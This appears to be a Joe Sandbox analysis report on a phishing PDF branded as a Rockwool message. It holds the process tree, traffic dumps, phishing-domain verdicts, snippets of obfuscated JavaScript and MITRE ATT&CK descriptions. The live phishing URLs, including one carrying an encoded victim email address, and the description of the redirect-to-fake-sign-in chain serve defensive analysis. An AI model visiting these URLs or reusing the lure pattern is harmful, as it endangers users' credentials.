2024-12-12 11:09:07 UTC	16383	IN	Data Raw: b0 33 f9 d3 92 f6 1d 3e 37 8c 46 e0 9c ee dc 80 0e 7f af 4f 4a a5 75 a8 3b 40 66 68 cc d1 b1 50 b2 b0 19 6c 1e 7f 4a 62 2e 58 cc 4b cf 94 2e db c4 81 c0 ce 54 0e 72 7d 29 b7 56 e9 7f 6a f1 dd 46 c4 c6 0b c6 91 9c 1c fa 55 1b 0b 88 e2 9e 65 59 d9 64 93 21 95 41 39 19 c8 07 f2 fd 6b 42 2b a7 80 9b a4 94 c9 26 fe 51 c8 fd de 33 d7 1d 68 03 85 70 03 90 01 51 9e 01 ed 49 5d 16 bd 6f 1d c4 42 f6 14 8d 67 04 ac e9 1f 03 3f de 03 d2 b9 c2 29 1a a7 70 a4 a2 97 39 a4 31 2b 57 4f b5 28 c9 33 60 b1 38 0a 41 38 aa f6 76 f2 16 12 ed c0 1c 83 9e 9e f5 b3 6e 91 3c ae db a4 12 01 b8 28 e0 37 3d 69 a4 44 a5 d0 b7 6f 3d cc 12 73 28 5c 64 2a e0 1d de c4 53 9e e2 c8 cb b8 96 59 f8 d8 c1 8f ca 7f 3a 8e e9 c1 78 e5 1b 95 99 ba 74 c1 c7 04 1f c2 9a 6d ad 0c d9 20 ae e1 bb 27 e5 Data Ascii: 3>7FOJu;@fhPlJb.XK.Tr})VjFUeYd!A9kB+&Q3hpQI]oBg?)p91+WO(3`8A8vn<(7=iDo=s(\d*SY:xtm '
2024-12-12 11:09:07 UTC	16383	IN	Data Raw: 83 4c 43 3c c2 a7 91 4a d2 f0 70 7a d2 91 90 4d 44 50 f0 47 34 0c 42 d9 06 9a a4 86 a7 91 85 c5 26 31 48 66 a6 9d 23 ef 00 37 04 f4 ad ab 61 2a cb 92 dc 57 2d 1c 85 18 11 da af 2e a3 22 e0 6e a6 43 5a 9d 0d dc a9 8f 9b 9c 7e 95 55 37 4a 70 0f 00 d5 01 74 25 60 18 f2 4f 7a d1 b4 78 f7 a8 0c 06 47 d3 34 89 2d 43 ba 33 b5 88 c0 3c 0c 53 b5 18 f3 0f bf 51 53 4a 84 0f 30 10 71 cd 51 96 e0 bb f9 7c 60 71 f4 a0 08 2d 9d d4 e5 73 81 5a 76 44 3c d9 70 48 03 b5 54 84 60 e3 20 83 57 51 8d bd bb b8 51 ba 80 2a 6a d3 28 66 c7 19 aa 11 44 d3 30 c0 f7 ab 32 ab 4e bb 89 c1 cf 19 ed 4a c9 32 b2 ed 60 bc 70 4d 30 1a 63 52 18 39 c8 1f a5 23 48 a8 a0 63 e5 1d cd 39 15 62 5d cc e1 98 f5 c7 ad 47 70 43 26 0a f6 e8 29 88 ac 2e 18 c8 42 63 6e 6a 36 27 18 3e bd a8 52 b8 2a 08 27 Data Ascii: LC<JpzMDPG4B&1Hf#7aW-."nCZ~U7Jpt%`OzxG4-C3<SQSJ0qQ\|`q-sZvD<pHT` WQQj(fD02NJ2`pM0cR9#Hc9b]GpC&).Bcnj6'>R*'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50078	209.74.95.101	443	7392	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 11:09:07 UTC	466	OUT	GET /m/script.php HTTP/1.1 Host: qxydsa4dws.cenislerge.shop Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=b7212af645e7713488ed887ef0fdc91e; preload=1; rt=a4eba51ada9a7f9b916dddb455a39f52.htm
2024-12-12 11:09:07 UTC	438	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 11:09:07 GMT Server: Apache/2.4.62 (Unix) OpenSSL/3.0.7 X-Powered-By: PHP/7.4.33 Access-Control-Allow-Headers: Authorization, Content-Type Access-Control-Allow-Origin: * Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: application/php; charset=utf-8
2024-12-12 11:09:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	06:06:07
Start date:	12/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Rockwool-Msg-S9039587897.pdf"
Imagebase:	0x7ff6bc1b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	06:06:08
Start date:	12/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:06:08
Start date:	12/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2228 --field-trial-handle=1640,i,14327772544071213855,9611246643050550386,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff74bb60000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	06:06:10
Start date:	12/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	06:06:11
Start date:	12/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2032 --field-trial-handle=1944,i,11112617639601827250,14197265475082299923,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

⊘No disassembly

Source: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'qxydsa4dws.cenislerge.shop' does not match the legitimate domain for Microsoft., The URL contains a random string and an unusual domain extension '.shop', which is not typically associated with Microsoft., The URL does not contain any recognizable elements related to Microsoft, indicating a high likelihood of phishing. DOM: 1.2.pages.csv
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	Joe Sandbox AI: Score: 9 Reasons: The brand 'Rockwool' is a known brand associated with insulation products., The URL 'qxydsa4dws.cenislerge.shop' does not match the legitimate domain 'rockwool.com'., The domain 'cenislerge.shop' is unusual and not associated with the Rockwool brand., The presence of a password input field on a non-legitimate domain is suspicious., The URL contains random characters and uses a '.shop' domain, which is not typical for the Rockwool brand. DOM: 2.4.pages.csv

Source: Yara match	File source: 0.3.id.script.csv, type: HTML
Source: Yara match	File source: 2.5..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Source: PDF document	Joe Sandbox AI: PDF document contains QR code
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	Joe Sandbox AI: Page contains button: 'Sign-in options' Source: '2.3.pages.csv'

Source: 0.0.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://tphzc9.fergusonlatest.net/#YWRhbS5sdWJpa0B... The script redirects users to an untrusted domain (cenislerge.shop) with potential data exfiltration by appending the URL hash to the query string. This behavior is suspicious and indicative of phishing or malicious intent.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5s... The script contains obfuscated code, which is a high-risk indicator (+3 points). It uses the Function constructor for dynamic code execution, another high-risk indicator (+3 points). Additionally, it manipulates cookies, which could be used for data exfiltration or session hijacking, adding to the risk. The obfuscation and potential for malicious behavior suggest a suspicious intent, leading to a high-risk score.

Source: https://qxydsa4dws.cenislerge.shop/?email=YWRhbS5sdWJpa0Byb2Nrd29vbC5jb20=	HTTP Parser: var _0x17d0bb=_0x4400;function _0x4400(_0x33d568,_0x56aee1){var _0x28f930=_0x1e42();return _0x4
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: function _0x496c(){var _0x1d3579=['296ZIxXNs','log','prototype','1420lrozaH','toString

Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: Invalid link: Terms of use
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: Invalid link: Privacy & cookies
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: Invalid link: Terms of use
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: Invalid link: Privacy & cookies

Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: No <meta name="author".. found
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: No <meta name="author".. found

Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: No <meta name="copyright".. found
Source: https://qxydsa4dws.cenislerge.shop/m/a4eba51ada9a7f9b916dddb455a39f52.htm	HTTP Parser: No <meta name="copyright".. found

Source: Joe Sandbox View	IP Address: 151.101.1.229 151.101.1.229
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox View	IP Address: 104.26.12.205 104.26.12.205

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: tphzc9.fergusonlatest.net
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: qxydsa4dws.cenislerge.shop
Source: global traffic	DNS traffic detected: DNS query: x1.i.lencr.org
Source: global traffic	DNS traffic detected: DNS query: cdn.jsdelivr.net
Source: global traffic	DNS traffic detected: DNS query: api.ipify.org
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msauthimages.net

Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Rockwool-Msg-S9039587897.pdf

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

HTML

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Networking

System Summary

Hooking and other Techniques for Hiding and Protection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

QR Codes

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\36e4bbab-106b-403d-9027-70e52ce39bcd.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF3fefdb.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\c5be5e0e-4c2c-441b-b2a0-c49f7d208891.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241212110613Z-184.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Windows Analysis Report
Rockwool-Msg-S9039587897.pdf